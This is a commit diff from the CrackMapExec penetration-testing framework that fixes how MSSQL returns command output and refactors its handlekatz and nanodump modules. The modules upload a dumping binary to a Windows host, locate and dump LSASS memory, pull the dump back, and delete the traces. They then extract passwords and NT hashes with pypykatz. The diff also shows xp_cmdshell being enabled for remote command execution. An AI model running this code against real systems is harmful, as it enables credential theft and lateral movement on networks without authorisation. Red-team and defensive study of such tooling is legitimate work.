fix(mssql): change how mssql returns results, bypassing impacket/tds jank logging and fix handlekatz/nanodump modules

main
Marshall Hallenbeck 2023-04-30 17:24:18 -04:00
parent bf77a28014
commit 1260751194
4 changed files with 294 additions and 228 deletions

View File

@ -9,13 +9,15 @@ import base64
import re
import sys
from cme.helpers.bloodhound import add_user_bh
class CMEModule:
name = 'handlekatz'
name = "handlekatz"
description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
supported_protocols = ['smb']
opsec_safe = True # not really
supported_protocols = ["smb"]
opsec_safe = False
multiple_hosts = True
def options(self, context, module_options):
@ -35,79 +37,92 @@ class CMEModule:
self.dir_result = self.handlekatz_path
self.useembeded = True
if 'HANDLEKATZ_PATH' in module_options:
self.handlekatz_path = module_options['HANDLEKATZ_PATH']
if "HANDLEKATZ_PATH" in module_options:
self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
self.useembeded = False
if 'HANDLEKATZ_EXE_NAME' in module_options:
self.handlekatz = module_options['HANDLEKATZ_EXE_NAME']
self.useembeded = False
if "HANDLEKATZ_EXE_NAME" in module_options:
self.handlekatz = module_options["HANDLEKATZ_EXE_NAME"]
if 'TMP_DIR' in module_options:
self.tmp_dir = module_options['TMP_DIR']
if "TMP_DIR" in module_options:
self.tmp_dir = module_options["TMP_DIR"]
if 'DIR_RESULT' in module_options:
self.dir_result = module_options['DIR_RESULT']
if "DIR_RESULT" in module_options:
self.dir_result = module_options["DIR_RESULT"]
def on_admin_login(self, context, connection):
if self.useembeded == True:
with open(self.handlekatz_path + self.handlekatz, 'wb') as handlekatz:
if self.useembeded:
with open(self.handlekatz_path + self.handlekatz, "wb") as handlekatz:
handlekatz.write(self.handlekatz_embeded)
context.log.display('Copy {} to {}'.format(self.handlekatz_path + self.handlekatz, self.tmp_dir))
with open(self.handlekatz_path + self.handlekatz, 'rb') as handlekatz:
context.log.display(f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}")
with open(self.handlekatz_path + self.handlekatz, "rb") as handlekatz:
try:
connection.conn.putFile(self.share, self.tmp_share + self.handlekatz, handlekatz.read)
context.log.success('Created file {} on the \\\\{}{}'.format(self.handlekatz, self.share, self.tmp_share))
context.log.success(
f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}"
)
except Exception as e:
context.log.fail('Error writing file to share {}: {}'.format(share, e))
# get pid lsass
command = 'tasklist /v /fo csv | findstr /i "lsass"'
context.log.display('Getting lsass PID {}'.format(command))
context.log.fail(f"Error writing file to share {self.share}: {e}")
# get LSASS PID via `tasklist`
command = "tasklist /v /fo csv | findstr /i \"lsass\""
context.log.display(f"Getting lsass PID via command {command}")
p = connection.execute(command, True)
context.log.debug(f"Command Result: {p}")
if len(p) == 1:
p = p[0]
if not p or p == "None":
context.log.fail(f"Failed to execute command to get LSASS PID")
return
# we get a CSV string back from `tasklist`, so we grab the PID from it
pid = p.split(',')[1][1:-1]
command = self.tmp_dir + self.handlekatz + ' --pid:' + pid + ' --outfile:' + self.tmp_dir + '%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log'
context.log.display('Executing command {}'.format(command))
context.log.debug(f"pid: {pid}")
command = self.tmp_dir + self.handlekatz + " --pid:" + pid + " --outfile:" + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log"
context.log.display(f"Executing command {command}")
p = connection.execute(command, True)
context.log.debug(p)
dump = False
if 'Lsass dump is complete' in p:
context.log.success('Process lsass.exe was successfully dumped')
context.log.debug(f"Command result: {p}")
if "Lsass dump is complete" in p:
context.log.success("Process lsass.exe was successfully dumped")
dump = True
else:
context.log.fail('Process lsass.exe error un dump, try with verbose')
context.log.fail("Process lsass.exe error un dump, try with verbose")
dump = False
if dump:
regex = r"([A-Za-z0-9-]*\.log)"
matches = re.search(regex, str(p), re.MULTILINE)
machine_name = ''
if matches:
machine_name = matches.group()
else:
if not matches:
context.log.display("Error getting the lsass.dmp file name")
sys.exit(1)
context.log.display('Copy {} to host'.format(machine_name))
machine_name = matches.group()
context.log.display(f"Copy {machine_name} to host")
with open(self.dir_result + machine_name, 'wb+') as dump_file:
try:
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
context.log.success('Dumpfile of lsass.exe was transferred to {}'.format(self.dir_result + machine_name))
context.log.success(
f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}"
)
except Exception as e:
context.log.fail('Error while get file: {}'.format(e))
context.log.fail(f"Error while get file: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success('Deleted handlekatz file on the {} share'.format(self.share))
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail('Error deleting handlekatz file on share {}: {}'.format(self.share, e))
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
context.log.success('Deleted lsass.dmp file on the {} share'.format(self.share))
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
except Exception as e:
context.log.fail('Error deleting lsass.dmp file on share {}: {}'.format(self.share, e))
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
h_in = open(self.dir_result + machine_name, "rb")
h_out = open(self.dir_result + machine_name + ".decode", "wb")
@ -115,27 +130,33 @@ class CMEModule:
bytes_in = bytearray(h_in.read())
bytes_in_len = len(bytes_in)
context.log.display("Deobfuscating, this might take a while")
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
chunks = [bytes_in[i:i+1000000] for i in range(0, len(bytes_in), 1000000)]
chunks = [bytes_in[i:i+1000000] for i in range(0, bytes_in_len, 1000000)]
for chunk in chunks:
for i in range(0, len(chunk)):
chunk[i] ^= 0x41
h_out.write(bytes(chunk))
with open(self.dir_result + machine_name + ".decode", 'rb') as dump:
with open(self.dir_result + machine_name + ".decode", "rb") as dump:
try:
credentials = []
credz_bh = []
try:
pypy_parse = pypykatz.parse_minidump_external(dump)
except Exception as e:
pypy_parse = None
context.log.fail(f'Error parsing minidump: {e}')
context.log.fail(f"Error parsing minidump: {e}")
ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds',
'tspkg_creds']
ssps = [
"msv_creds",
"wdigest_creds",
"ssp_creds",
"livessp_creds",
"kerberos_creds",
"credman_creds",
"tspkg_creds"
]
for luid in pypy_parse.logon_sessions:
for ssp in ssps:
for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
@ -150,8 +171,8 @@ class CMEModule:
context.log.highlight(domain + "\\" + username + ":" + print_pass)
if "." not in domain and domain.upper() in connection.domain.upper():
domain = connection.domain
credz_bh.append({'username': username.upper(), 'domain': domain.upper()})
credz_bh.append({"username": username.upper(), "domain": domain.upper()})
if len(credz_bh) > 0:
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.fail('Error opening dump file', str(e))
context.log.fail("Error opening dump file", str(e))

View File

@ -21,6 +21,7 @@ class CMEModule:
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.connection = None
self.dir_result = None
self.tmp_dir = None
self.useembeded = None
@ -39,7 +40,7 @@ class CMEModule:
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
"""
self.context = context
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
@ -49,12 +50,12 @@ class CMEModule:
self.nano_path = ""
self.useembeded = True
if 'NANO_PATH' in module_options:
self.nano_path = module_options['NANO_PATH']
if "NANO_PATH" in module_options:
self.nano_path = module_options["NANO_PATH"]
self.useembeded = False
else:
if sys.platform == "win32":
appdata_path = os.getenv('APPDATA')
appdata_path = os.getenv("APPDATA")
if not os.path.exists(appdata_path + "\CME"):
os.mkdir(appdata_path + "\CME")
self.nano_path = appdata_path + "\CME\\"
@ -65,111 +66,133 @@ class CMEModule:
self.dir_result = self.nano_path
if 'NANO_EXE_NAME' in module_options:
self.nano = module_options['NANO_EXE_NAME']
if "NANO_EXE_NAME" in module_options:
self.nano = module_options["NANO_EXE_NAME"]
self.useembeded = False
if 'TMP_DIR' in module_options:
self.tmp_dir = module_options['TMP_DIR']
if "TMP_DIR" in module_options:
self.tmp_dir = module_options["TMP_DIR"]
if 'DIR_RESULT' in module_options:
self.dir_result = module_options['DIR_RESULT']
if "DIR_RESULT" in module_options:
self.dir_result = module_options["DIR_RESULT"]
def on_admin_login(self, context, connection):
self.connection = connection
self.context = context
if self.useembeded:
with open(self.nano_path + self.nano, 'wb') as nano:
if connection.os_arch == 32 and context.protocol == 'smb':
context.log.display("32-bit Windows detected.")
with open(self.nano_path + self.nano, "wb") as nano:
if self.connection.os_arch == 32 and self.context.protocol == "smb":
self.context.log.display("32-bit Windows detected.")
nano.write(self.nano_embedded32)
elif connection.os_arch == 64 and context.protocol == 'smb':
context.log.display("64-bit Windows detected.")
elif self.connection.os_arch == 64 and self.context.protocol == "smb":
self.context.log.display("64-bit Windows detected.")
nano.write(self.nano_embedded64)
elif context.protocol == 'mssql':
elif self.context.protocol == "mssql":
nano.write(self.nano_embedded64)
else:
context.log.fail('Unsupported Windows architecture')
self.context.log.fail("Unsupported Windows architecture")
sys.exit(1)
if context.protocol == 'smb':
with open(self.nano_path + self.nano, 'rb') as nano:
if self.context.protocol == "smb":
with open(self.nano_path + self.nano, "rb") as nano:
try:
connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read)
context.log.success(f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}")
self.connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read)
self.context.log.success(f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}")
except Exception as e:
context.log.fail(f"Error writing file to share {self.share}: {e}")
self.context.log.fail(f"Error writing file to share {self.share}: {e}")
else:
with open(self.nano_path + self.nano, 'rb') as nano:
with open(self.nano_path + self.nano, "rb") as nano:
try:
context.log.display(f"Copy {self.nano} to {self.tmp_dir}")
exec_method = MSSQLEXEC(connection.conn)
self.context.log.display(f"Copy {self.nano} to {self.tmp_dir}")
exec_method = MSSQLEXEC(self.connection.conn)
exec_method.put_file(nano.read(), self.tmp_dir + self.nano)
if exec_method.file_exists(self.tmp_dir + self.nano):
context.log.success(f"Created file {self.nano} on the remote machine {self.tmp_dir}")
self.context.log.success(f"Created file {self.nano} on the remote machine {self.tmp_dir}")
else:
context.log.fail("File does not exist on the remote system... error during upload")
self.context.log.fail("File does not exist on the remote system... error during upload")
sys.exit(1)
except Exception as e:
context.log.fail(f"Error writing file to remote machine directory {self.tmp_dir}: {e}")
# get pid lsass
command = 'tasklist /v /fo csv | findstr /i "lsass"'
context.log.display(f"Getting lsass PID {command}")
p = connection.execute(command, True)
pid = p.split(',')[1][1:-1]
timestamp = datetime.today().strftime('%Y%m%d_%H%M')
self.context.log.fail(f"Error writing file to remote machine directory {self.tmp_dir}: {e}")
# apparently SMB exec methods treat the output parameter differently than MSSQL (we use it to display())
# if we don't do this, then SMB doesn't actually return the results of commands, so it appears that the
# execution fails, which it doesn't
display_output = True if self.context.protocol == "smb" else False
self.context.log.debug(f"Display Output: {display_output}")
# get LSASS PID via `tasklist`
command = "tasklist /v /fo csv | findstr /i \"lsass\""
self.context.log.display(f"Getting LSASS PID via command {command}")
p = self.connection.execute(command, display_output)
self.context.log.debug(f"tasklist Command Result: {p}")
if len(p) == 1:
p = p[0]
if not p or p == "None":
self.context.log.fail(f"Failed to execute command to get LSASS PID")
return
pid = p.split(",")[1][1:-1]
self.context.log.debug(f"pid: {pid}")
timestamp = datetime.today().strftime("%Y%m%d_%H%M")
nano_log_name = f"{timestamp}.log"
command = f"{self.tmp_dir}{self.nano} --pid {pid} --write {self.tmp_dir}{nano_log_name}"
context.log.display(f"Executing command {command}")
p = connection.execute(command, True)
context.log.debug(p)
dump = False
if 'Done' in p:
context.log.success('Process lsass.exe was successfully dumped')
self.context.log.display(f"Executing command {command}")
p = self.connection.execute(command, display_output)
self.context.log.debug(f"NanoDump Command Result: {p}")
if not p or p == "None":
self.context.log.fail(f"Failed to execute command to execute NanoDump")
self.delete_nanodump_binary()
return
# results returned are different between SMB and MSSQL
full_results = " ".join(p) if self.context.protocol == "mssql" else p
if "Done" in full_results:
self.context.log.success("Process lsass.exe was successfully dumped")
dump = True
else:
context.log.fail('Process lsass.exe error on dump, try with verbose')
self.context.log.fail("Process lsass.exe error on dump, try with verbose")
dump = False
if dump:
context.log.display(f"Copying {nano_log_name} to host")
filename = f"{self.dir_result}{connection.hostname}_{connection.os_arch}_{connection.domain}.log"
if context.protocol == 'smb':
with open(filename, 'wb+') as dump_file:
self.context.log.display(f"Copying {nano_log_name} to host")
filename = f"{self.dir_result}{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log"
if self.context.protocol == "smb":
with open(filename, "wb+") as dump_file:
try:
connection.conn.getFile(self.share, self.tmp_share + nano_log_name, dump_file.write)
context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
self.connection.conn.getFile(self.share, self.tmp_share + nano_log_name, dump_file.write)
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
except Exception as e:
context.log.fail(f"Error while getting file: {e}")
self.context.log.fail(f"Error while getting file: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.nano)
context.log.success(f"Deleted nano file on the {self.share} share")
self.connection.conn.deleteFile(self.share, self.tmp_share + self.nano)
self.context.log.success(f"Deleted nano file on the {self.share} share")
except Exception as e:
context.log.fail(f"Error deleting nano file on share {self.share}: {e}")
self.context.log.fail(f"Error deleting nano file on share {self.share}: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + nano_log_name)
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
self.connection.conn.deleteFile(self.share, self.tmp_share + nano_log_name)
self.context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
except Exception as e:
context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
else:
try:
exec_method = MSSQLEXEC(connection.conn)
exec_method = MSSQLEXEC(self.connection.conn)
exec_method.get_file(self.tmp_dir + nano_log_name, filename)
context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
except Exception as e:
context.log.fail(f"Error while getting file: {e}")
self.context.log.fail(f"Error while getting file: {e}")
self.delete_nanodump_binary()
try:
connection.execute(f"del {self.tmp_dir + self.nano}")
context.log.success(f"Deleted nano file on the {self.share} dir")
self.connection.execute(f"del {self.tmp_dir + nano_log_name}")
self.context.log.success(f"Deleted lsass.dmp file on the {self.tmp_dir} dir")
except Exception as e:
context.log.fail(f"Error deleting nano file on dir {self.tmp_dir}: {e}")
try:
connection.execute(f"del {self.tmp_dir + nano_log_name}")
context.log.success(f"Deleted lsass.dmp file on the {self.tmp_dir} dir")
except Exception as e:
context.log.fail(f"Error deleting lsass.dmp file on dir {self.tmp_dir}: {e}")
self.context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on dir {self.tmp_dir}: {e}")
fh = open(filename, "r+b")
fh.seek(0)
@ -187,16 +210,16 @@ class CMEModule:
pypy_parse = pypykatz.parse_minidump_external(dump)
except Exception as e:
pypy_parse = None
context.log.fail(f'Error parsing minidump: {e}')
self.context.log.fail(f"Error parsing minidump: {e}")
ssps = [
'msv_creds',
'wdigest_creds',
'ssp_creds',
'livessp_creds',
'kerberos_creds',
'credman_creds',
'tspkg_creds'
"msv_creds",
"wdigest_creds",
"ssp_creds",
"livessp_creds",
"kerberos_creds",
"credman_creds",
"tspkg_creds"
]
for luid in pypy_parse.logon_sessions:
@ -215,19 +238,26 @@ class CMEModule:
else:
credtype = "hash"
credential = NThash
context.log.highlight(f"{domain}\\{username}:{credential}")
host_id = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
self.context.log.highlight(f"{domain}\\{username}:{credential}")
host_id = self.context.db.get_hosts(self.connection.host)[0][0]
self.context.db.add_credential(
credtype,
connection.domain,
username,
credential,
pillaged_from=host_id
)
if "." not in domain and domain.upper() in connection.domain.upper():
domain = connection.domain
bh_creds.append({'username': username.upper(), 'domain': domain.upper()})
if "." not in domain and domain.upper() in self.connection.domain.upper():
domain = self.connection.domain
bh_creds.append({"username": username.upper(), "domain": domain.upper()})
if len(bh_creds) > 0:
add_user_bh(bh_creds, None, context.log, connection.config)
add_user_bh(bh_creds, None, self.context.log, self.connection.config)
except Exception as e:
context.log.fail(f"Error opening dump file: {e}")
self.context.log.fail(f"Error opening dump file: {e}")
def delete_nanodump_binary(self):
try:
self.connection.execute(f"del {self.tmp_dir + self.nano}")
self.context.log.success(f"Deleted nano file on the {self.share} dir")
except Exception as e:
self.context.log.fail(f"[OPSEC] Error deleting nano file on dir {self.tmp_dir}: {e}")

View File

@ -63,7 +63,7 @@ class mssql(connection):
self.enum_host_info()
self.print_host_info()
self.login()
if hasattr(self.args, 'module') and self.args.module:
if hasattr(self.args, "module") and self.args.module:
self.call_modules()
else:
self.call_cmd_args()
@ -71,10 +71,10 @@ class mssql(connection):
def proto_logger(self):
self.logger = CMEAdapter(
extra={
'protocol': 'MSSQL',
'host': self.host,
'port': self.args.port,
'hostname': 'None'
"protocol": "MSSQL",
"host": self.host,
"port": self.args.port,
"hostname": "None"
}
)
@ -82,7 +82,7 @@ class mssql(connection):
# this try pass breaks module http server, more info https://github.com/byt3bl33d3r/CrackMapExec/issues/363
try:
# Probably a better way of doing this, grab our IP from the socket
self.local_ip = str(self.conn.socket).split()[2].split('=')[1].split(':')[0]
self.local_ip = str(self.conn.socket).split()[2].split("=")[1].split(":")[0]
except:
pass
@ -92,7 +92,7 @@ class mssql(connection):
try:
smb_conn = SMBConnection(self.host, self.host, None)
try:
smb_conn.login('', '')
smb_conn.login("", "")
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.getErrorString():
pass
@ -100,7 +100,7 @@ class mssql(connection):
self.domain = smb_conn.getServerDNSDomainName()
self.hostname = smb_conn.getServerName()
self.server_os = smb_conn.getServerOS()
self.logger.extra['hostname'] = self.hostname
self.logger.extra["hostname"] = self.hostname
try:
smb_conn.logoff()
@ -136,7 +136,7 @@ class mssql(connection):
def create_conn_obj(self):
try:
self.conn = tds.MSSQL(self.host, self.args.port, rowsPrinter=self.logger)
self.conn = tds.MSSQL(self.host, self.args.port)
self.conn.connect()
except socket.error:
return False
@ -147,19 +147,18 @@ class mssql(connection):
try:
results = self.conn.sql_query("SELECT IS_SRVROLEMEMBER('sysadmin')")
is_admin = int(results[0][""])
if is_admin:
self.admin_privs = True
self.logger.debug(f"User is admin")
else:
return False
except Exception as e:
self.logger.fail(f"Error calling check_if_admin(): {e}")
self.logger.fail(f"Error querying for sysadmin role: {e}")
return False
if is_admin:
self.admin_privs = True
self.logger.debug(f"User is admin")
else:
return False
return True
def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False):
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
try:
self.conn.disconnect()
except:
@ -167,15 +166,15 @@ class mssql(connection):
self.create_conn_obj()
logging.getLogger("impacket").disabled = True
nthash = ''
nthash = ""
hashes = None
if ntlm_hash != '':
if ntlm_hash.find(':') != -1:
if ntlm_hash != "":
if ntlm_hash.find(":") != -1:
hashes = ntlm_hash
nthash = ntlm_hash.split(':')[1]
nthash = ntlm_hash.split(":")[1]
else:
# only nt hash
hashes = ':%s' % ntlm_hash
hashes = f":{ntlm_hash}"
nthash = ntlm_hash
if not all('' == s for s in [self.nthash, password, aesKey]):
@ -190,7 +189,7 @@ class mssql(connection):
self.password = password
if username == '' and useCache:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
principal = ccache.principal.toPrincipal()
self.username = principal.components[0]
username = principal.components[0]
@ -285,9 +284,9 @@ class mssql(connection):
res = self.conn.login(
None,
username,
'',
"",
domain,
':' + nthash if not lmhash else ntlm_hash,
":" + nthash if not lmhash else ntlm_hash,
not self.args.local_auth
)
if res is not True:
@ -298,10 +297,10 @@ class mssql(connection):
self.username = username
self.domain = domain
self.check_if_admin()
self.db.add_credential('hash', domain, username, ntlm_hash)
self.db.add_credential("hash", domain, username, ntlm_hash)
if self.admin_privs:
self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host)
self.db.add_admin_user("hash", domain, username, ntlm_hash, self.host)
out = u"{}\\{} {} {}".format(
domain,
@ -323,7 +322,8 @@ class mssql(connection):
return False
def mssql_query(self):
self.conn.sql_query(self.args.mssql_query)
result = self.conn.sql_query(self.args.mssql_query)
self.logger.debug(f"Result: {result}")
self.conn.printRows()
for line in StringIO(self.conn._MSSQL__rowsPrinter.getMessage()).readlines():
if line.strip() != '':
@ -334,27 +334,31 @@ class mssql(connection):
def execute(self, payload=None, get_output=False, methods=None):
if not payload and self.args.execute:
payload = self.args.execute
if not self.args.no_output: get_output = True
if not self.args.no_output:
get_output = True
self.logger.info(f"Command to execute:\n{payload}")
exec_method = MSSQLEXEC(self.conn)
raw_output = exec_method.execute(payload, get_output)
try:
exec_method = MSSQLEXEC(self.conn)
raw_output = exec_method.execute(payload, get_output)
except Exception as e:
self.logger.exception(e)
return None
self.logger.info("Executed command via mssqlexec")
if hasattr(self, "server"):
self.server.track_host(self.host)
output = f"{raw_output}"
if self.args.execute or self.args.ps_execute:
#self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
# self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
self.logger.success("Executed command via mssqlexec")
buf = StringIO(output).readlines()
buf = StringIO(raw_output).readlines()
for line in buf:
if line.strip() != '':
if line.strip() != "":
self.logger.highlight(line.strip())
return output
return raw_output
@requires_admin
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=True):
@ -362,7 +366,7 @@ class mssql(connection):
payload = self.args.ps_execute
if not self.args.no_output: get_output = True
# We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method (probably an escaping issue)
# We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method
ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs)
return self.execute(ps_command, get_output)
@ -392,49 +396,47 @@ class mssql(connection):
except Exception as e:
self.logger.fail(f"Error reading file {self.args.get_file[0]}: {e}")
# We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
# The whole tds library in impacket needs a good overhaul to preserve my sanity
def printRepliesCME(self):
for keys in self.replies.keys():
for i, key in enumerate(self.replies[keys]):
if key["TokenType"] == TDS_ERROR_TOKEN:
error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
self.lastError = SQLErrorException(
f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
)
self._MSSQL__rowsPrinter.error(error)
# We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
# The whole tds library in impacket needs a good overhaul to preserve my sanity
def printRepliesCME(self):
for keys in self.replies.keys():
for i, key in enumerate(self.replies[keys]):
if key["TokenType"] == TDS_ERROR_TOKEN:
error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
self.lastError = SQLErrorException(
f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
)
self._MSSQL__rowsPrinter.error(error)
elif key["TokenType"] == TDS_INFO_TOKEN:
self._MSSQL__rowsPrinter.info(
f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
)
elif key["TokenType"] == TDS_LOGINACK_TOKEN:
self._MSSQL__rowsPrinter.info(
f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) "
)
elif key["TokenType"] == TDS_ENVCHANGE_TOKEN:
if key["Type"] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
record = TDS_ENVCHANGE_VARCHAR(key["Data"])
if record["OldValue"] == "":
record["OldValue"] = "None".encode('utf-16le')
elif record["NewValue"] == '':
record["NewValue"] = "None".encode('utf-16le')
if key["Type"] == TDS_ENVCHANGE_DATABASE:
_type = "DATABASE"
elif key["Type"] == TDS_ENVCHANGE_LANGUAGE:
_type = "LANGUAGE"
elif key["Type"] == TDS_ENVCHANGE_CHARSET:
_type = "CHARSET"
elif key["Type"] == TDS_ENVCHANGE_PACKETSIZE:
_type = "PACKETSIZE"
else:
_type = f"{key['Type']:d}"
elif key["TokenType"] == TDS_INFO_TOKEN:
self._MSSQL__rowsPrinter.info(
f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}"
f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
)
elif key["TokenType"] == TDS_LOGINACK_TOKEN:
self._MSSQL__rowsPrinter.info(
f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) "
)
tds.MSSQL.printReplies = printRepliesCME
elif key["TokenType"] == TDS_ENVCHANGE_TOKEN:
if key["Type"] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
record = TDS_ENVCHANGE_VARCHAR(key["Data"])
if record["OldValue"] == "":
record["OldValue"] = "None".encode('utf-16le')
elif record["NewValue"] == '':
record["NewValue"] = "None".encode('utf-16le')
if key["Type"] == TDS_ENVCHANGE_DATABASE:
_type = "DATABASE"
elif key["Type"] == TDS_ENVCHANGE_LANGUAGE:
_type = "LANGUAGE"
elif key["Type"] == TDS_ENVCHANGE_CHARSET:
_type = "CHARSET"
elif key["Type"] == TDS_ENVCHANGE_PACKETSIZE:
_type = "PACKETSIZE"
else:
_type = f"{key['Type']:d}"
self._MSSQL__rowsPrinter.info(
f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}"
)
tds.MSSQL.printReplies = printRepliesCME

View File

@ -8,26 +8,39 @@ from cme.logger import cme_logger
class MSSQLEXEC:
def __init__(self, connection):
self.mssql_conn = connection
self.outputBuffer = ''
self.outputBuffer = ""
def execute(self, command, output=False):
command_output = []
try:
self.enable_xp_cmdshell()
self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
if output:
self.mssql_conn.printReplies()
self.mssql_conn.colMeta[0]["TypeData"] = 80 * 2
self.mssql_conn.printRows()
self.outputBuffer = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
if len(self.outputBuffer):
self.outputBuffer = self.outputBuffer.split('\n', 2)[2]
self.disable_xp_cmdshell()
return self.outputBuffer
except Exception as e:
cme_logger.debug(f"Error executing command via mssqlexec: {e}")
cme_logger.error(f"Error when attempting to enable x_cmdshell: {e}")
try:
result = self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
cme_logger.debug(f"SQL Query Result: {result}")
for row in result:
if row["output"] == "NULL":
continue
command_output.append(row["output"])
except Exception as e:
cme_logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
if output:
for row in command_output:
cme_logger.display(row)
# self.mssql_conn.printReplies()
# self.mssql_conn.colMeta[0]["TypeData"] = 80 * 2
# self.mssql_conn.printRows()
# self.outputBuffer = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
# if len(self.outputBuffer):
# self.outputBuffer = self.outputBuffer.split('\n', 2)[2]
try:
self.disable_xp_cmdshell()
except Exception as e:
cme_logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
return command_output
# return self.outputBuffer
def enable_xp_cmdshell(self):
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")